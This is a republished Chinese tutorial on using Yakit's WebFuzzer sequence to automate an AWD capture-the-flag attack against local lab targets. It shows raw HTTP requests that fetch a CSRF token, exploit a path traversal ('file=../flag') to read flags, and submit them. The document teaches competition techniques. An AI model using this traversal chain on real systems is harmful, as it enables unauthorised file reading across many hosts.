AWD:WebFuzzer 序列快速构建脚本

admin 2023年9月21日18:45:18评论18 views字数 2260阅读7分32秒阅读模式

AWD:WebFuzzer 序列快速构建脚本

本文作者柏喵Sakura,预计阅读时间6分钟

 

前言

 

 

新发布的Web Fuzzer 序列 (Web Fuzzer Sequence),使用 Fuzzer 序列可以轻松构建一整个测试工作流。现在我们将综合利用 Yakit 现有的功能串联起 CSRF token 获取,flag 获取到提交 flag 这几个工作,最终快速构建起一个一键收割 flag 的 AWD 脚本。

AWD:WebFuzzer 序列快速构建脚本
在开始之前,先介绍一下测试环境。这是一个AWD靶场,平台在 127.0.0.1:8080,上面有目前三台靶机分别在127.0.0.1:8001 - 127.0.0.1:8083。他们都有一个目录穿越,但是有csrf token保护。

这篇文章将使用 Yakit 的能力快速构建一个攻击脚本。

Fuzzer Tag 请求多个靶机

AWD:WebFuzzer 序列快速构建脚本

这里先整理好所有的靶机地址,并使用fuzztag按照行读取到host变量,host变量会被继承到后面的所有请求,因此只需要设置一次这个变量。

AWD:WebFuzzer 序列快速构建脚本
 

 

 

 

 

AWD:WebFuzzer 序列快速构建脚本

现在我们使用这个变量,向所有靶机同时发送请求,获取csrf token。

GET / HTTP/1.1Content-Type: application/jsonHost: {{p(host)}}

 

提取 CSRF Token

AWD:WebFuzzer 序列快速构建脚本

    <form action="/" method="post">        <input name="file">        <input hidden name="csrf" value="26e65b25-0bee-49d1-a8c2-13678a9e58f8">        <button type="submit">Submit</button>    </form>

可以使用正则表达式数据提取器从 form 中提取 csrf token。

这里添加一个正则类型的数据提取器,我们要的csrf token明显是一个uuid,这里写一个uuid的正则来来提取这一块内容。

AWD:WebFuzzer 序列快速构建脚本

提取结果:

AWD:WebFuzzer 序列快速构建脚本

 

获取 Flag 并提交

AWD:WebFuzzer 序列快速构建脚本

为了把csrf token传递到下一个请求中,先新建一个名为flag的请求,再在 fuzzer 序列的面板中设置变量向下传递。

AWD:WebFuzzer 序列快速构建脚本

此时,就可以在名为flag的请求中使用csrf这个变量了,现在我们构建请求:

POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: {{p(host)}}
csrf={{p(csrf)}}&file=../flag

在这个请求中,使用fuzzer tag嵌入从上面获取的CSRF变量,打一个简单的目录穿越获取flag:

HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: text/plain; charset=utf-8Last-Modified: Thu, 07 Sep 2023 06:38:32 GMTDate: Thu, 07 Sep 2023 07:57:13 GMTContent-Length: 42
flag{c369b72b-c776-4771-8d7c-a56bc7bb1e07}

body就是flag的内容,不过严谨起见,可以写一个flag的正则来提取flag。

AWD:WebFuzzer 序列快速构建脚本

下面构建第三个包,提交flag

大多数 AWD 平台都会提供使用 curl 提交 flag 的命令,可以使用yakit的curl转数据包功能快速构建出提交flag的数据包。

AWD:WebFuzzer 序列快速构建脚本

POST /pushflag HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: localhost:8080Content-Length: 18
flag=flag{example}

略作修改,使用变量替换示例flag:

POST /pushflag HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: localhost:8080
flag={{p(flag)}}

顺利提交flag:

HTTP/1.1 200 OKContent-Type: text/plain; charset=utf-8Date: Thu, 07 Sep 2023 08:03:21 GMTContent-Length: 7

success

 

有什么优势吗?

AWD:WebFuzzer 序列快速构建脚本

  • 全程使用 GUI 操作,多数简单的测试,不用写一行代码
  • 可以配合 MITM 抓包使用,复杂包体不用自己构造,直接从 MITM 导入并修改变动部分即可
  • 支持使用 FuzzTag 嵌套的方式进行编解码,也可以使用热加载 Yaklang 进行任意复杂操作

     

     

     

为了方便师傅们使用,文章演示环境已上传Github,有需要的师傅们请获取链接自行下载~

https://github.com/BaiMeow/TryYakitFuzzerSeri

 

 

 

 

 

 

END

 

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

 

原文始发于微信公众号(Yak Project):AWD:WebFuzzer 序列快速构建脚本

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月21日18:45:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AWD:WebFuzzer 序列快速构建脚本https://cn-sec.com/archives/2056354.html

发表评论

匿名网友 填写信息